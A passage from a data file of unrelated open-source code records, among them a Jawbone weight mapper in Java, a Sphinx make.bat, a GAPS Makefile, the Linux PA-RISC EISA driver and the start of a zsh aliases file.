WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage org.openmhealth.shim.jawbone.mapper;\n\nimport com.fasterxml.jackson.databind.JsonNode;\nimport org.openmhealth.schema.domain.omh.BodyWeight;\nimport org.openmhealth.schema.domain.omh.MassUnitValue;\nimport org.openmhealth.schema.domain.omh.Measure;\n\nimport java.util.Optional;\n\nimport static org.openmhealth.schema.domain.omh.MassUnit.KILOGRAM;\nimport static org.openmhealth.shim.common.mapper.JsonNodeMappingSupport.asOptionalDouble;\nimport static org.openmhealth.shim.jawbone.mapper.JawboneBodyEventType.BODY_WEIGHT;\n\n\n/**\n * @author Chris Schaefbauer\n * @see <a href=\"https://jawbone.com/up/developer/endpoints/body\">API documentation</a>\n */\npublic class JawboneBodyWeightDataPointMapper extends JawboneBodyEventsDataPointMapper<BodyWeight> {\n\n @Override\n protected Optional<Measure.Builder<BodyWeight, ?>> newMeasureBuilder(JsonNode listEntryNode) {\n\n Optional<Double> optionalWeight = asOptionalDouble(listEntryNode, \"weight\");\n\n if (!optionalWeight.isPresent()) {\n return Optional.empty();\n }\n\n return Optional.of(new BodyWeight.Builder(new MassUnitValue(KILOGRAM, optionalWeight.get())));\n }\n\n @Override\n protected JawboneBodyEventType getBodyEventType() {\n return BODY_WEIGHT;\n }\n}\n"} {"text": "/* ====================================================================\n Licensed to the Apache Software Foundation (ASF) under one or more\n contributor license agreements. See the NOTICE file distributed with\n this work for Additional information regarding copyright ownership.\n The ASF licenses this file to You under the Apache License, Version 2.0\n (the \"License\"); you may not use this file except in compliance with\n the License. You may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n==================================================================== */\n\nnamespace NPOI.SS.Formula\n{\n using System;\n\n /**\n * Provides access to a {@link WorkbookEvaluator}, eg for use with\n * {@link CollaboratingWorkbooksEnvironment}\n * \n * For POI internal use only\n */\n\n public interface IWorkbookEvaluatorProvider\n {\n /**\n * Provide the underlying WorkbookEvaluator\n */\n WorkbookEvaluator GetWorkbookEvaluator();\n }\n\n}"} {"text": "@ECHO OFF\r\n\r\nREM Command file for Sphinx documentation\r\n\r\nif \"%SPHINXBUILD%\" == \"\" (\r\n\tset SPHINXBUILD=sphinx-build\r\n)\r\nset BUILDDIR=_build\r\nset ALLSPHINXOPTS=-d %BUILDDIR%/doctrees %SPHINXOPTS% .\r\nset I18NSPHINXOPTS=%SPHINXOPTS% .\r\nif NOT \"%PAPER%\" == \"\" (\r\n\tset ALLSPHINXOPTS=-D latex_paper_size=%PAPER% %ALLSPHINXOPTS%\r\n\tset I18NSPHINXOPTS=-D latex_paper_size=%PAPER% %I18NSPHINXOPTS%\r\n)\r\n\r\nif \"%1\" == \"\" goto help\r\n\r\nif \"%1\" == \"help\" (\r\n\t:help\r\n\techo.Please use `make ^<target^>` where ^<target^> is one of\r\n\techo. html to make standalone HTML files\r\n\techo. dirhtml to make HTML files named index.html in directories\r\n\techo. singlehtml to make a single large HTML file\r\n\techo. pickle to make pickle files\r\n\techo. json to make JSON files\r\n\techo. htmlhelp to make HTML files and a HTML help project\r\n\techo. qthelp to make HTML files and a qthelp project\r\n\techo. devhelp to make HTML files and a Devhelp project\r\n\techo. epub to make an epub\r\n\techo. latex to make LaTeX files, you can set PAPER=a4 or PAPER=letter\r\n\techo. text to make text files\r\n\techo. man to make manual pages\r\n\techo. texinfo to make Texinfo files\r\n\techo. gettext to make PO message catalogs\r\n\techo. changes to make an overview over all changed/added/deprecated items\r\n\techo. xml to make Docutils-native XML files\r\n\techo. pseudoxml to make pseudoxml-XML files for display purposes\r\n\techo. linkcheck to check all external links for integrity\r\n\techo. doctest to run all doctests embedded in the documentation if enabled\r\n\techo. coverage to run coverage check of the documentation if enabled\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"clean\" (\r\n\tfor /d %%i in (%BUILDDIR%\\*) do rmdir /q /s %%i\r\n\tdel /q /s %BUILDDIR%\\*\r\n\tgoto end\r\n)\r\n\r\n\r\nREM Check if sphinx-build is available and fallback to Python version if any\r\n%SPHINXBUILD% 2> nul\r\nif errorlevel 9009 goto sphinx_python\r\ngoto sphinx_ok\r\n\r\n:sphinx_python\r\n\r\nset SPHINXBUILD=python -m sphinx.__init__\r\n%SPHINXBUILD% 2> nul\r\nif errorlevel 9009 (\r\n\techo.\r\n\techo.The 'sphinx-build' command was not found. Make sure you have Sphinx\r\n\techo.installed, then set the SPHINXBUILD environment variable to point\r\n\techo.to the full path of the 'sphinx-build' executable. Alternatively you\r\n\techo.may add the Sphinx directory to PATH.\r\n\techo.\r\n\techo.If you don't have Sphinx installed, grab it from\r\n\techo.http://sphinx-doc.org/\r\n\texit /b 1\r\n)\r\n\r\n:sphinx_ok\r\n\r\n\r\nif \"%1\" == \"html\" (\r\n\t%SPHINXBUILD% -b html %ALLSPHINXOPTS% %BUILDDIR%/html\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Build finished. The HTML pages are in %BUILDDIR%/html.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"dirhtml\" (\r\n\t%SPHINXBUILD% -b dirhtml %ALLSPHINXOPTS% %BUILDDIR%/dirhtml\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Build finished. The HTML pages are in %BUILDDIR%/dirhtml.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"singlehtml\" (\r\n\t%SPHINXBUILD% -b singlehtml %ALLSPHINXOPTS% %BUILDDIR%/singlehtml\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Build finished. The HTML pages are in %BUILDDIR%/singlehtml.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"pickle\" (\r\n\t%SPHINXBUILD% -b pickle %ALLSPHINXOPTS% %BUILDDIR%/pickle\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Build finished; now you can process the pickle files.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"json\" (\r\n\t%SPHINXBUILD% -b json %ALLSPHINXOPTS% %BUILDDIR%/json\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Build finished; now you can process the JSON files.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"htmlhelp\" (\r\n\t%SPHINXBUILD% -b htmlhelp %ALLSPHINXOPTS% %BUILDDIR%/htmlhelp\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Build finished; now you can run HTML Help Workshop with the ^\r\n.hhp project file in %BUILDDIR%/htmlhelp.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"qthelp\" (\r\n\t%SPHINXBUILD% -b qthelp %ALLSPHINXOPTS% %BUILDDIR%/qthelp\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Build finished; now you can run \"qcollectiongenerator\" with the ^\r\n.qhcp project file in %BUILDDIR%/qthelp, like this:\r\n\techo.^> qcollectiongenerator %BUILDDIR%\\qthelp\\aiohttp_security.qhcp\r\n\techo.To view the help file:\r\n\techo.^> assistant -collectionFile %BUILDDIR%\\qthelp\\aiohttp_security.ghc\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"devhelp\" (\r\n\t%SPHINXBUILD% -b devhelp %ALLSPHINXOPTS% %BUILDDIR%/devhelp\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Build finished.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"epub\" (\r\n\t%SPHINXBUILD% -b epub %ALLSPHINXOPTS% %BUILDDIR%/epub\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Build finished. The epub file is in %BUILDDIR%/epub.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"latex\" (\r\n\t%SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Build finished; the LaTeX files are in %BUILDDIR%/latex.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"latexpdf\" (\r\n\t%SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex\r\n\tcd %BUILDDIR%/latex\r\n\tmake all-pdf\r\n\tcd %~dp0\r\n\techo.\r\n\techo.Build finished; the PDF files are in %BUILDDIR%/latex.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"latexpdfja\" (\r\n\t%SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex\r\n\tcd %BUILDDIR%/latex\r\n\tmake all-pdf-ja\r\n\tcd %~dp0\r\n\techo.\r\n\techo.Build finished; the PDF files are in %BUILDDIR%/latex.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"text\" (\r\n\t%SPHINXBUILD% -b text %ALLSPHINXOPTS% %BUILDDIR%/text\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Build finished. The text files are in %BUILDDIR%/text.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"man\" (\r\n\t%SPHINXBUILD% -b man %ALLSPHINXOPTS% %BUILDDIR%/man\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Build finished. The manual pages are in %BUILDDIR%/man.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"texinfo\" (\r\n\t%SPHINXBUILD% -b texinfo %ALLSPHINXOPTS% %BUILDDIR%/texinfo\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Build finished. The Texinfo files are in %BUILDDIR%/texinfo.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"gettext\" (\r\n\t%SPHINXBUILD% -b gettext %I18NSPHINXOPTS% %BUILDDIR%/locale\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Build finished. The message catalogs are in %BUILDDIR%/locale.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"changes\" (\r\n\t%SPHINXBUILD% -b changes %ALLSPHINXOPTS% %BUILDDIR%/changes\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.The overview file is in %BUILDDIR%/changes.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"linkcheck\" (\r\n\t%SPHINXBUILD% -b linkcheck %ALLSPHINXOPTS% %BUILDDIR%/linkcheck\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Link check complete; look for any errors in the above output ^\r\nor in %BUILDDIR%/linkcheck/output.txt.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"doctest\" (\r\n\t%SPHINXBUILD% -b doctest %ALLSPHINXOPTS% %BUILDDIR%/doctest\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Testing of doctests in the sources finished, look at the ^\r\nresults in %BUILDDIR%/doctest/output.txt.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"coverage\" (\r\n\t%SPHINXBUILD% -b coverage %ALLSPHINXOPTS% %BUILDDIR%/coverage\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Testing of coverage in the sources finished, look at the ^\r\nresults in %BUILDDIR%/coverage/python.txt.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"xml\" (\r\n\t%SPHINXBUILD% -b xml %ALLSPHINXOPTS% %BUILDDIR%/xml\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Build finished. The XML files are in %BUILDDIR%/xml.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"pseudoxml\" (\r\n\t%SPHINXBUILD% -b pseudoxml %ALLSPHINXOPTS% %BUILDDIR%/pseudoxml\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Build finished. The pseudo-XML files are in %BUILDDIR%/pseudoxml.\r\n\tgoto end\r\n)\r\n\r\n:end\r\n"} {"text": "#\n# Makefile for GAPS pkgs\n#\n\n\n# \n# Library file names\n#\n\nARCH=$(shell uname -m)\nLIB_DIR=../lib/$(ARCH)\nLIB=$(LIB_DIR)/libgaps.a\nPKG_LIBS= \\\n $(LIB_DIR)/libR3Shapes.a \\\n $(LIB_DIR)/libR2Shapes.a \\\n $(LIB_DIR)/libRNBasics.a \\\n $(LIB_DIR)/libjpeg.a \\\n $(LIB_DIR)/libpng.a\n\n\n# \n# Make targets\n#\n\nopt:\n\t$(MAKE) target \"TARGET=$@\"\n\trm -f $(LIB)\n\tar ur $(LIB) $(PKG_LIBS)\n\ndebug:\n\t$(MAKE) target \"TARGET=$@\"\n\trm -f $(LIB)\n\tar ur $(LIB) $(PKG_LIBS)\n\nmesa:\n\t$(MAKE) target \"TARGET=$@\"\n\nclean:\n\t$(MAKE) target \"TARGET=$@\"\n\nrelease:\n\tmkdir -p ../release/pkgs\n\tcp Makefile ../release/pkgs\n\t$(MAKE) target \"TARGET=$@\"\n\ntarget: \n\tcd RNBasics; $(MAKE) $(TARGET)\n\tcd R2Shapes; $(MAKE) $(TARGET)\n\tcd R3Shapes; $(MAKE) $(TARGET)\n\tcd jpeg; $(MAKE) $(TARGET)\n\tcd png; $(MAKE) $(TARGET)\n\n\n\n\n\n"} {"text": "Module(body=[Assign(targets=[Name(id='x',\n ctx=Store())],\n value=Num(n=444)),\n FunctionDef(name='f',\n args=arguments(args=[Name(id='arg',\n ctx=Param())],\n vararg=None,\n kwarg=None,\n defaults=[]),\n body=[Return(value=BinOp(left=BinOp(left=BinOp(left=Str(s='OK: '),\n op=Add(),\n right=Name(id='arg',\n ctx=Load())),\n op=Add(),\n right=Str(s=', ')),\n op=Add(),\n right=Call(func=Name(id='str',\n ctx=Load()),\n args=[Name(id='x',\n ctx=Load())],\n keywords=[],\n starargs=None,\n kwargs=None)))],\n decorator_list=[])])\n"} {"text": "/*\n * eisa.c - provide support for EISA adapters in PA-RISC machines\n *\n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version\n * 2 of the License, or (at your option) any later version.\n *\n * Copyright (c) 2001 Matthew Wilcox for Hewlett Packard\n * Copyright (c) 2001 Daniel Engstrom <5116@telia.com>\n *\n * There are two distinct EISA adapters. Mongoose is found in machines\n * before the 712; then the Wax ASIC is used. To complicate matters, the\n * Wax ASIC also includes a PS/2 and RS-232 controller, but those are\n * dealt with elsewhere; this file is concerned only with the EISA portions\n * of Wax.\n * \n * \n * HINT:\n * -----\n * To allow an ISA card to work properly in the EISA slot you need to\n * set an edge trigger level. This may be done on the palo command line \n * by adding the kernel parameter \"eisa_irq_edge=n,n2,[...]]\", with \n * n and n2 as the irq levels you want to use.\n * \n * Example: \"eisa_irq_edge=10,11\" allows ISA cards to operate at \n * irq levels 10 and 11.\n */\n\n#include <linux/init.h>\n#include <linux/ioport.h>\n#include <linux/interrupt.h>\n#include <linux/kernel.h>\n#include <linux/module.h>\n#include <linux/pci.h>\n#include <linux/spinlock.h>\n#include <linux/eisa.h>\n\n#include <asm/byteorder.h>\n#include <asm/io.h>\n#include <asm/hardware.h>\n#include <asm/processor.h>\n#include <asm/parisc-device.h>\n#include <asm/delay.h>\n#include <asm/eisa_bus.h>\n#include <asm/eisa_eeprom.h>\n\n#define EISA_DBG(msg, arg... ) \n\n#define SNAKES_EEPROM_BASE_ADDR 0xF0810400\n#define MIRAGE_EEPROM_BASE_ADDR 0xF00C0400\n\nstatic DEFINE_SPINLOCK(eisa_irq_lock);\n\nvoid __iomem *eisa_eeprom_addr __read_mostly;\n\n/* We can only have one EISA adapter in the system because neither\n * implementation can be flexed.\n */\nstatic struct eisa_ba {\n\tstruct pci_hba_data\thba;\n\tunsigned long eeprom_addr;\n\tstruct eisa_root_device root;\n} eisa_dev;\n\n/* Port ops */\n\nstatic inline unsigned long eisa_permute(unsigned short port)\n{\n\tif (port & 0x300) {\n\t\treturn 0xfc000000 | ((port & 0xfc00) >> 6)\n\t\t\t| ((port & 0x3f8) << 9) | (port & 7);\n\t} else {\n\t\treturn 0xfc000000 | port;\n\t}\n}\n\nunsigned char eisa_in8(unsigned short port)\n{\n\tif (EISA_bus)\n\t\treturn gsc_readb(eisa_permute(port));\n\treturn 0xff;\n}\n\nunsigned short eisa_in16(unsigned short port)\n{\n\tif (EISA_bus)\n\t\treturn le16_to_cpu(gsc_readw(eisa_permute(port)));\n\treturn 0xffff;\n}\n\nunsigned int eisa_in32(unsigned short port)\n{\n\tif (EISA_bus)\n\t\treturn le32_to_cpu(gsc_readl(eisa_permute(port)));\n\treturn 0xffffffff;\n}\n\nvoid eisa_out8(unsigned char data, unsigned short port)\n{\n\tif (EISA_bus)\n\t\tgsc_writeb(data, eisa_permute(port));\n}\n\nvoid eisa_out16(unsigned short data, unsigned short port)\n{\n\tif (EISA_bus)\t\n\t\tgsc_writew(cpu_to_le16(data), eisa_permute(port));\n}\n\nvoid eisa_out32(unsigned int data, unsigned short port)\n{\n\tif (EISA_bus)\n\t\tgsc_writel(cpu_to_le32(data), eisa_permute(port));\n}\n\n#ifndef CONFIG_PCI\n/* We call these directly without PCI. See asm/io.h. */\nEXPORT_SYMBOL(eisa_in8);\nEXPORT_SYMBOL(eisa_in16);\nEXPORT_SYMBOL(eisa_in32);\nEXPORT_SYMBOL(eisa_out8);\nEXPORT_SYMBOL(eisa_out16);\nEXPORT_SYMBOL(eisa_out32);\n#endif\n\n/* Interrupt handling */\n\n/* cached interrupt mask registers */\nstatic int master_mask;\nstatic int slave_mask;\n\n/* the trig level can be set with the\n * eisa_irq_edge=n,n,n commandline parameter \n * We should really read this from the EEPROM \n * in the furure. \n */\n/* irq 13,8,2,1,0 must be edge */\nstatic unsigned int eisa_irq_level __read_mostly; /* default to edge triggered */\n\n\n/* called by free irq */\nstatic void eisa_disable_irq(unsigned int irq)\n{\n\tunsigned long flags;\n\n\tEISA_DBG(\"disable irq %d\\n\", irq);\n\t/* just mask for now */\n\tspin_lock_irqsave(&eisa_irq_lock, flags);\n if (irq & 8) {\n\t\tslave_mask |= (1 << (irq&7));\n\t\teisa_out8(slave_mask, 0xa1);\n\t} else {\n\t\tmaster_mask |= (1 << (irq&7));\n\t\teisa_out8(master_mask, 0x21);\n\t}\n\tspin_unlock_irqrestore(&eisa_irq_lock, flags);\n\tEISA_DBG(\"pic0 mask %02x\\n\", eisa_in8(0x21));\n\tEISA_DBG(\"pic1 mask %02x\\n\", eisa_in8(0xa1));\n}\n\n/* called by request irq */\nstatic void eisa_enable_irq(unsigned int irq)\n{\n\tunsigned long flags;\n\tEISA_DBG(\"enable irq %d\\n\", irq);\n\t\t\n\tspin_lock_irqsave(&eisa_irq_lock, flags);\n if (irq & 8) {\n\t\tslave_mask &= ~(1 << (irq&7));\n\t\teisa_out8(slave_mask, 0xa1);\n\t} else {\n\t\tmaster_mask &= ~(1 << (irq&7));\n\t\teisa_out8(master_mask, 0x21);\n\t}\n\tspin_unlock_irqrestore(&eisa_irq_lock, flags);\n\tEISA_DBG(\"pic0 mask %02x\\n\", eisa_in8(0x21));\n\tEISA_DBG(\"pic1 mask %02x\\n\", eisa_in8(0xa1));\n}\n\nstatic unsigned int eisa_startup_irq(unsigned int irq)\n{\n\teisa_enable_irq(irq);\n\treturn 0;\n}\n\nstatic struct irq_chip eisa_interrupt_type = {\n\t.name\t =\t\"EISA\",\n\t.startup =\teisa_startup_irq,\n\t.shutdown =\teisa_disable_irq,\n\t.enable =\teisa_enable_irq,\n\t.disable =\teisa_disable_irq,\n\t.ack =\t\tno_ack_irq,\n\t.end =\t\tno_end_irq,\n};\n\nstatic irqreturn_t eisa_irq(int wax_irq, void *intr_dev)\n{\n\tint irq = gsc_readb(0xfc01f000); /* EISA supports 16 irqs */\n\tunsigned long flags;\n \n\tspin_lock_irqsave(&eisa_irq_lock, flags);\n\t/* read IRR command */\n\teisa_out8(0x0a, 0x20);\n\teisa_out8(0x0a, 0xa0);\n\n\tEISA_DBG(\"irq IAR %02x 8259-1 irr %02x 8259-2 irr %02x\\n\",\n\t\t irq, eisa_in8(0x20), eisa_in8(0xa0));\n \n\t/* read ISR command */\n\teisa_out8(0x0a, 0x20);\n\teisa_out8(0x0a, 0xa0);\n\tEISA_DBG(\"irq 8259-1 isr %02x imr %02x 8259-2 isr %02x imr %02x\\n\",\n\t\t eisa_in8(0x20), eisa_in8(0x21), eisa_in8(0xa0), eisa_in8(0xa1));\n\t\n\tirq &= 0xf;\n\t\n\t/* mask irq and write eoi */\n\tif (irq & 8) {\n\t\tslave_mask |= (1 << (irq&7));\n\t\teisa_out8(slave_mask, 0xa1);\n\t\teisa_out8(0x60 | (irq&7),0xa0);/* 'Specific EOI' to slave */\n\t\teisa_out8(0x62,0x20);\t/* 'Specific EOI' to master-IRQ2 */\n\t\t\n\t} else {\n\t\tmaster_mask |= (1 << (irq&7));\n\t\teisa_out8(master_mask, 0x21);\n\t\teisa_out8(0x60|irq,0x20);\t/* 'Specific EOI' to master */\n\t}\n\tspin_unlock_irqrestore(&eisa_irq_lock, flags);\n\n\t__do_IRQ(irq);\n \n\tspin_lock_irqsave(&eisa_irq_lock, flags);\n\t/* unmask */\n if (irq & 8) {\n\t\tslave_mask &= ~(1 << (irq&7));\n\t\teisa_out8(slave_mask, 0xa1);\n\t} else {\n\t\tmaster_mask &= ~(1 << (irq&7));\n\t\teisa_out8(master_mask, 0x21);\n\t}\n\tspin_unlock_irqrestore(&eisa_irq_lock, flags);\n\treturn IRQ_HANDLED;\n}\n\nstatic irqreturn_t dummy_irq2_handler(int _, void *dev)\n{\n\tprintk(KERN_ALERT \"eisa: uhh, irq2?\\n\");\n\treturn IRQ_HANDLED;\n}\n\nstatic struct irqaction irq2_action = {\n\t.handler = dummy_irq2_handler,\n\t.name = \"cascade\",\n};\n\nstatic void init_eisa_pic(void)\n{\n\tunsigned long flags;\n\t\n\tspin_lock_irqsave(&eisa_irq_lock, flags);\n\n\teisa_out8(0xff, 0x21); /* mask during init */\n\teisa_out8(0xff, 0xa1); /* mask during init */\n\t\n\t/* master pic */\n\teisa_out8(0x11,0x20); /* ICW1 */ \n\teisa_out8(0x00,0x21); /* ICW2 */ \n\teisa_out8(0x04,0x21); /* ICW3 */ \n\teisa_out8(0x01,0x21); /* ICW4 */ \n\teisa_out8(0x40,0x20); /* OCW2 */ \n\t\n\t/* slave pic */\n\teisa_out8(0x11,0xa0); /* ICW1 */ \n\teisa_out8(0x08,0xa1); /* ICW2 */ \n eisa_out8(0x02,0xa1); /* ICW3 */ \n\teisa_out8(0x01,0xa1); /* ICW4 */ \n\teisa_out8(0x40,0xa0); /* OCW2 */ \n \n\tudelay(100);\n\t\n\tslave_mask = 0xff; \n\tmaster_mask = 0xfb; \n\teisa_out8(slave_mask, 0xa1); /* OCW1 */\n\teisa_out8(master_mask, 0x21); /* OCW1 */\n\t\n\t/* setup trig level */\n\tEISA_DBG(\"EISA edge/level %04x\\n\", eisa_irq_level);\n\t\n\teisa_out8(eisa_irq_level&0xff, 0x4d0); /* Set all irq's to edge */\n\teisa_out8((eisa_irq_level >> 8) & 0xff, 0x4d1); \n\t\n\tEISA_DBG(\"pic0 mask %02x\\n\", eisa_in8(0x21));\n\tEISA_DBG(\"pic1 mask %02x\\n\", eisa_in8(0xa1));\n\tEISA_DBG(\"pic0 edge/level %02x\\n\", eisa_in8(0x4d0));\n\tEISA_DBG(\"pic1 edge/level %02x\\n\", eisa_in8(0x4d1));\n\t\n\tspin_unlock_irqrestore(&eisa_irq_lock, flags);\n}\n\n/* Device initialisation */\n\n#define is_mongoose(dev) (dev->id.sversion == 0x00076)\n\nstatic int __init eisa_probe(struct parisc_device *dev)\n{\n\tint i, result;\n\n\tchar *name = is_mongoose(dev) ? \"Mongoose\" : \"Wax\";\n\n\tprintk(KERN_INFO \"%s EISA Adapter found at 0x%08lx\\n\", \n\t\tname, (unsigned long)dev->hpa.start);\n\n\teisa_dev.hba.dev = dev;\n\teisa_dev.hba.iommu = ccio_get_iommu(dev);\n\n\teisa_dev.hba.lmmio_space.name = \"EISA\";\n\teisa_dev.hba.lmmio_space.start = F_EXTEND(0xfc000000);\n\teisa_dev.hba.lmmio_space.end = F_EXTEND(0xffbfffff);\n\teisa_dev.hba.lmmio_space.flags = IORESOURCE_MEM;\n\tresult = ccio_request_resource(dev, &eisa_dev.hba.lmmio_space);\n\tif (result < 0) {\n\t\tprintk(KERN_ERR \"EISA: failed to claim EISA Bus address space!\\n\");\n\t\treturn result;\n\t}\n\teisa_dev.hba.io_space.name = \"EISA\";\n\teisa_dev.hba.io_space.start = 0;\n\teisa_dev.hba.io_space.end = 0xffff;\n\teisa_dev.hba.lmmio_space.flags = IORESOURCE_IO;\n\tresult = request_resource(&ioport_resource, &eisa_dev.hba.io_space);\n\tif (result < 0) {\n\t\tprintk(KERN_ERR \"EISA: failed to claim EISA Bus port space!\\n\");\n\t\treturn result;\n\t}\n\tpcibios_register_hba(&eisa_dev.hba);\n\n\tresult = request_irq(dev->irq, eisa_irq, IRQF_SHARED, \"EISA\", &eisa_dev);\n\tif (result) {\n\t\tprintk(KERN_ERR \"EISA: request_irq failed!\\n\");\n\t\treturn result;\n\t}\n\t\n\t/* Reserve IRQ2 */\n\tirq_to_desc(2)->action = &irq2_action;\n\t\n\tfor (i = 0; i < 16; i++) {\n\t\tirq_to_desc(i)->chip = &eisa_interrupt_type;\n\t}\n\t\n\tEISA_bus = 1;\n\n\tif (dev->num_addrs) {\n\t\t/* newer firmware hand out the eeprom address */\n\t\teisa_dev.eeprom_addr = dev->addr[0];\n\t} else {\n\t\t/* old firmware, need to figure out the box */\n\t\tif (is_mongoose(dev)) {\n\t\t\teisa_dev.eeprom_addr = SNAKES_EEPROM_BASE_ADDR;\n\t\t} else {\n\t\t\teisa_dev.eeprom_addr = MIRAGE_EEPROM_BASE_ADDR;\n\t\t}\n\t}\n\teisa_eeprom_addr = ioremap_nocache(eisa_dev.eeprom_addr, HPEE_MAX_LENGTH);\n\tresult = eisa_enumerator(eisa_dev.eeprom_addr, &eisa_dev.hba.io_space,\n\t\t\t&eisa_dev.hba.lmmio_space);\n\tinit_eisa_pic();\n\n\tif (result >= 0) {\n\t\teisa_dev.root.dev = &dev->dev;\n\t\tdev_set_drvdata(&dev->dev, &eisa_dev.root);\n\t\teisa_dev.root.bus_base_addr = 0;\n\t\teisa_dev.root.res = &eisa_dev.hba.io_space;\n\t\teisa_dev.root.slots = result;\n\t\teisa_dev.root.dma_mask = 0xffffffff; /* wild guess */\n\t\tif (eisa_root_register (&eisa_dev.root)) {\n\t\t\tprintk(KERN_ERR \"EISA: Failed to register EISA root\\n\");\n\t\t\treturn -1;\n\t\t}\n\t}\n\t\n\treturn 0;\n}\n\nstatic const struct parisc_device_id eisa_tbl[] = {\n\t{ HPHW_BA, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x00076 }, /* Mongoose */\n\t{ HPHW_BA, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x00090 }, /* Wax EISA */\n\t{ 0, }\n};\n\nMODULE_DEVICE_TABLE(parisc, eisa_tbl);\n\nstatic struct parisc_driver eisa_driver = {\n\t.name =\t\t\"eisa_ba\",\n\t.id_table =\teisa_tbl,\n\t.probe =\teisa_probe,\n};\n\nvoid __init eisa_init(void)\n{\n\tregister_parisc_driver(&eisa_driver);\n}\n\n\nstatic unsigned int eisa_irq_configured;\nvoid eisa_make_irq_level(int num)\n{\n\tif (eisa_irq_configured& (1<<num)) {\n\t\tprintk(KERN_WARNING\n\t\t \"IRQ %d polarity configured twice (last to level)\\n\", \n\t\t num);\n\t}\n\teisa_irq_level |= (1<<num); /* set the corresponding bit */\n\teisa_irq_configured |= (1<<num); /* set the corresponding bit */\n}\n\nvoid eisa_make_irq_edge(int num)\n{\n\tif (eisa_irq_configured& (1<<num)) {\n\t\tprintk(KERN_WARNING \n\t\t \"IRQ %d polarity configured twice (last to edge)\\n\",\n\t\t num);\n\t}\n\teisa_irq_level &= ~(1<<num); /* clear the corresponding bit */\n\teisa_irq_configured |= (1<<num); /* set the corresponding bit */\n}\n\nstatic int __init eisa_irq_setup(char *str)\n{\n\tchar *cur = str;\n\tint val;\n\n\tEISA_DBG(\"IRQ setup\\n\");\n\twhile (cur != NULL) {\n\t\tchar *pe;\n\t\t\n\t\tval = (int) simple_strtoul(cur, &pe, 0);\n\t\tif (val > 15 || val < 0) {\n\t\t\tprintk(KERN_ERR \"eisa: EISA irq value are 0-15\\n\");\n\t\t\tcontinue;\n\t\t}\n\t\tif (val == 2) { \n\t\t\tval = 9;\n\t\t}\n\t\teisa_make_irq_edge(val); /* clear the corresponding bit */\n\t\tEISA_DBG(\"setting IRQ %d to edge-triggered mode\\n\", val);\n\t\t\n\t\tif ((cur = strchr(cur, ','))) {\n\t\t\tcur++;\n\t\t} else {\n\t\t\tbreak;\n\t\t}\n\t}\n\treturn 1;\n}\n\n__setup(\"eisa_irq_edge=\", eisa_irq_setup);\n"} {"text": "#\n# dotzsh : https://github.com/dotphiles/dotzsh\n#\n# Defines general aliases and functions.\n#\n# Authors:\n# Robby Russell <robby@planetargon.com>\n# Suraj N. Kurapati <sunaku@gmail.com>\n# Sorin Ionescu <sorin.ionescu@gmail.com>\n# Ben O'Hara <bohara@gmail.com>\n#\n\n# Load dependencies.\ndzmodload 'spectrum'\n\n# Correct commands.\nsetopt CORRECT\nCORRECT_IGNORE='_*'\n\n# Aliases\n\n# Reload dotzsh\nalias dzs='source ~/.zshrc && echo \"Reloaded $HOME/.zshrc!\"'\nalias dzD='setopt XTRACE && echo 